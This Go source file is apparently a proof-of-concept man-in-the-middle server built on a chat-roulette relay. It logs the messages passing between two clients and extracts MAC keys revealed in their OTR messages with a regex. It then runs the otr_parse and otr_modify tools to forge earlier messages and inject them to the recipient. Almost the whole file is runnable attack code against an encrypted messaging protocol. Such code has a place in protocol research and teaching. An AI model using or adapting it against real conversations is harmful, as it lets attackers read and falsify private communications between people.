|
// Inspired by Andrew Gerrands TCP chat roulette example (http://talks.golang.org/2012/chat.slide) |
|
package main |
|
|
|
import ( |
|
"bufio" |
|
"fmt" |
|
"io" |
|
"log" |
|
"net" |
|
"os" |
|
"os/exec" |
|
"regexp" |
|
"sync" |
|
|
|
"github.com/juniorz/otrio" |
|
) |
|
|
|
const listenAddr = "localhost:4000" |
|
|
|
func main() { |
|
l, err := net.Listen("tcp", listenAddr) |
|
if err != nil { |
|
log.Fatal(err) |
|
} |
|
|
|
log.Println("listening at", listenAddr) |
|
|
|
for { |
|
c, err := l.Accept() |
|
if err != nil { |
|
log.Fatal(err) |
|
} |
|
|
|
go match(c) |
|
} |
|
} |
|
|
|
var partner = make(chan io.ReadWriteCloser) |
|
|
|
func match(c io.ReadWriteCloser) { |
|
fmt.Fprint(c, "Waiting for a partner...") |
|
|
|
select { |
|
case partner <- c: |
|
// now handled by the other goroutine |
|
case p := <-partner: |
|
chat(p, c) |
|
} |
|
} |
|
|
|
func chat(a, b io.ReadWriteCloser) { |
|
fmt.Fprint(a, "Found one! Say hi.") |
|
fmt.Fprint(b, "Found one! Say hi.") |
|
errc := make(chan error, 1) |
|
|
|
go cp(io.MultiWriter(a, lg(), forgeRecipient(a)), b, errc) |
|
go cp(io.MultiWriter(b, lg(), forgeRecipient(b)), a, errc) |
|
|
|
if err := <-errc; err != nil { |
|
log.Println("err:", err) |
|
} |
|
|
|
a.Close() |
|
b.Close() |
|
} |
|
|
|
func cp(w io.Writer, r io.Reader, errc chan<- error) { |
|
_, err := io.Copy(w, r) |
|
errc <- err |
|
} |
|
|
|
func lg() io.Writer { |
|
lR, lW := io.Pipe() |
|
|
|
go func() { |
|
s := otrio.NewScanner(lR) |
|
for s.Scan() { |
|
fmt.Printf("<-> %q\n", s.Text()) |
|
} |
|
}() |
|
|
|
return lW |
|
} |
|
|
|
func forgeRecipient(rec io.Writer) io.Writer { |
|
recMsg := make(chan []byte) |
|
capKey := make(chan string) |
|
forgedMsg := make(chan forgery) |
|
|
|
hR, hW := io.Pipe() |
|
|
|
out := hck.Parse(hR, recMsg) |
|
go hck.CaptureRevealedKeys(out, capKey) |
|
|
|
go func(h *hacker) { |
|
for { |
|
select { |
|
case m := <-recMsg: |
|
h.saveMessage(m, rec) |
|
case k := <-capKey: |
|
go h.findMesageModifiableWith(k, forgedMsg) |
|
case f := <-forgedMsg: |
|
h.forgetMessagesUntil(f.original) |
|
fmt.Println("<!>", string(f.forged)) |
|
f.original.recipient.Write(f.forged) |
|
} |
|
} |
|
}(hck) |
|
|
|
return hW |
|
} |
|
|
|
var ( |
|
revealKeyPattern = regexp.MustCompile("Key [0-9]+: ([a-z0-9]+)") |
|
hck = &hacker{} |
|
dict = map[string]string{ |
|
"hi": "TW", |
|
"ok": "TW", |
|
} |
|
) |
|
|
|
type hacker struct { |
|
otrForger |
|
} |
|
|
|
func (h *hacker) Parse(p io.Reader, rec chan<- []byte) io.Reader { |
|
parser := newOtrParser() |
|
|
|
//Send received OTR messages to parser cmd |
|
go func(w io.Writer, r io.Reader) { |
|
s := otrio.NewScanner(r) |
|
for s.Scan() { |
|
_, err := w.Write(s.Bytes()) |
|
if err != nil { |
|
continue |
|
} |
|
|
|
rec <- s.Bytes() |
|
} |
|
}(parser.in, p) |
|
|
|
return parser.out |
|
} |
|
|
|
func (h *hacker) CaptureRevealedKeys(parserOut io.Reader, ret chan<- string) { |
|
s := bufio.NewScanner(parserOut) |
|
for s.Scan() { |
|
matches := revealKeyPattern.FindStringSubmatch(s.Text()) |
|
if len(matches) > 1 { |
|
ret <- matches[1] |
|
} |
|
} |
|
} |
|
|
|
func newOtrCommand(c string, args ...string) (*exec.Cmd, io.WriteCloser, io.ReadCloser) { |
|
cmd := exec.Command(c, args...) |
|
|
|
in, err := cmd.StdinPipe() |
|
if err != nil { |
|
panic(err) |
|
} |
|
|
|
out, err := cmd.StdoutPipe() |
|
if err != nil { |
|
panic(err) |
|
} |
|
//defer h.out.Close() |
|
|
|
return cmd, in, out |
|
} |
|
|
|
type otrParser struct { |
|
cmd *exec.Cmd |
|
in io.WriteCloser |
|
out io.ReadCloser |
|
} |
|
|
|
func newOtrParser() *otrParser { |
|
cmd, in, out := newOtrCommand("otr_parse") |
|
|
|
cmd.Stderr = os.Stderr |
|
if err := cmd.Start(); err != nil { |
|
panic(err) |
|
} |
|
|
|
return &otrParser{ |
|
cmd: cmd, |
|
in: in, |
|
out: out, |
|
} |
|
} |
|
|
|
type otrModify struct { |
|
cmd *exec.Cmd |
|
in io.WriteCloser |
|
out io.ReadCloser |
|
} |
|
|
|
func newOtrModify(macKey, oldText, newText, pos string) *otrModify { |
|
cmd, in, out := newOtrCommand("otr_modify", macKey, oldText, newText, pos) |
|
|
|
return &otrModify{ |
|
cmd: cmd, |
|
in: in, |
|
out: out, |
|
} |
|
} |
|
|
|
//TODO: remac any message |
|
//otr_remac mackey sender_instance receiver_instance flags snd_keyid rcp_keyid pubkey counter encdata revealed_mackeys |
|
|
|
type pastMessage struct { |
|
message []byte |
|
recipient io.Writer |
|
} |
|
|
|
type otrForger struct { |
|
pastMessages []*pastMessage |
|
pastMessagesMutex sync.RWMutex |
|
} |
|
|
|
func (h *otrForger) saveMessage(msg []byte, rec io.Writer) { |
|
h.pastMessagesMutex.Lock() |
|
defer h.pastMessagesMutex.Unlock() |
|
|
|
h.pastMessages = append(h.pastMessages, &pastMessage{ |
|
message: msg, |
|
recipient: rec, |
|
}) |
|
} |
|
|
|
func (h *otrForger) forgetMessagesUntil(msg *pastMessage) { |
|
h.pastMessagesMutex.Lock() |
|
defer h.pastMessagesMutex.Unlock() |
|
|
|
for i, m := range h.pastMessages { |
|
if m == msg { |
|
for j := 0; j < i; j++ { |
|
h.pastMessages[j] = nil |
|
} |
|
|
|
h.pastMessages = h.pastMessages[i+1:] |
|
return |
|
} |
|
} |
|
} |
|
|
|
func (h *otrForger) findMesageModifiableWith(key string, ret chan<- forgery) { |
|
h.pastMessagesMutex.RLock() |
|
defer h.pastMessagesMutex.RUnlock() |
|
|
|
for _, m := range h.pastMessages { |
|
go h.tryModifyMessage(m, key, ret) |
|
} |
|
} |
|
|
|
type forgery struct { |
|
original *pastMessage |
|
forged []byte |
|
} |
|
|
|
func (h *otrForger) tryModifyMessage(p *pastMessage, macKey string, ret chan<- forgery) { |
|
m := newOtrModify(macKey, "", "", "0") |
|
defer m.out.Close() |
|
|
|
if err := m.cmd.Start(); err != nil { |
|
return |
|
} |
|
|
|
m.in.Write(p.message) |
|
m.in.Close() |
|
|
|
outR := bufio.NewReader(m.out) |
|
line, _, err := outR.ReadLine() |
|
if err != nil && err != io.EOF { |
|
return |
|
} |
|
|
|
if err := m.cmd.Wait(); err != nil { |
|
//TODO: remove invalid messages |
|
//see the error message to decide |
|
return |
|
} |
|
|
|
ret <- forgery{ |
|
original: p, |
|
forged: line, |
|
} |
|
} |